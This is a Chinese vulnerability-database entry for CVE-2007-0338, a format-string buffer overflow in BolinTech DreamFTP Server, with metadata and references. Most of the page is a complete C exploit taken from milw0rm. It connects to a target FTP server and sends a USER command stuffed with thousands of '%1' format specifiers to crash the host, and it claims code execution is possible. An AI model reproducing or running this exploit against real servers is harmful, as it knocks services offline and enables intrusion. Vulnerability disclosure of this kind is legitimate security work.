Dream FTP Server 数据处理缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112005 漏洞类型 格式化字符串
发布时间 2007-01-14 更新时间 2007-01-17
CVE编号 CVE-2007-0338 CNNVD-ID CNNVD-200701-267
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3128
https://www.securityfocus.com/bid/83565
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-267
|漏洞详情
DreamFTP服务器中存在堆缓冲区溢出漏洞。远程攻击者可以借助一个带有大量格式化字符串分类符的用户指令,来执行任意代码。在处理服务器登录时,会触发缓冲区溢出。
|漏洞EXP
/**************************************************************************
*BolinTech DreamFTP USER buffer overflow                                  *
*                                                                         *
*The server does not correctly handle format string so sending a command  *
*like USER %1*3000 let us own EDX. Other values can also affect EAX & ECX *
*                                                                         *
*This is only a POC but code execution is possible                        *
*                                                                         *
*usage: dreamftp.exe ip port                                              *
*                                                                         *
*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            *
**************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
	struct hostent *he;
	struct sockaddr_in sock_addr;
	WSADATA wsa;
	int ftpsock;
	char recvbuff[1024];
	char evilbuff[5003];
	int buflen=5000;// edx=31253125
	int i;

	if (argc!=3)
	{
		printf("[+] Usage: %s <ip> <port>\n",argv[0]);
		return 1;
	}
	WSACleanup();
	WSAStartup(MAKEWORD(2,0),&wsa);

	printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
	if ((he=gethostbyname(argv[1])) == NULL) {
		printf("Failed\n[-] Could not init gethostbyname\n");
		return 1;
	}
	if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Failed\n[-] Socket error\n");
		return 1;
	}

	sock_addr.sin_family = PF_INET;
	sock_addr.sin_port = htons(atoi(argv[2]));
	sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(sock_addr.sin_zero), '\0', 8);
	if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
		printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
		return 1;
	}
	printf("OK\n");
	memset(recvbuff,'\0',1024);
	recv(ftpsock, recvbuff, 1024, 0);

	printf("[+] Building payload ... ");
	for (i=0;i<buflen;i+=2) {
		memcpy(evilbuff+i,"%1",2);
	}

	memcpy(evilbuff,"USER ",5);
	memcpy(evilbuff+buflen,"\r\n\0",3);
	printf("OK\n[+] Sending USER ... ");
	if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
		printf("Failed\n[-] Could not send\n");
		return 1;
	}
	printf("OK\n");
	memset(recvbuff,'\0',1024);
	recv(ftpsock, recvbuff, 1024, 0);
	Sleep(1000);
	printf("[+] Host should be down\n");
	return 0;
}

// milw0rm.com [2007-01-14]
|受影响的产品
BolinTech Dreamftp Server 0
|参考资料

来源:SECUNIA
名称:23731
链接:http://secunia.com/advisories/23731
来源:OSVDB
名称:32816
链接:http://osvdb.org/32816
来源:MILW0RM
名称:3128
链接:http://milw0rm.com/exploits/3128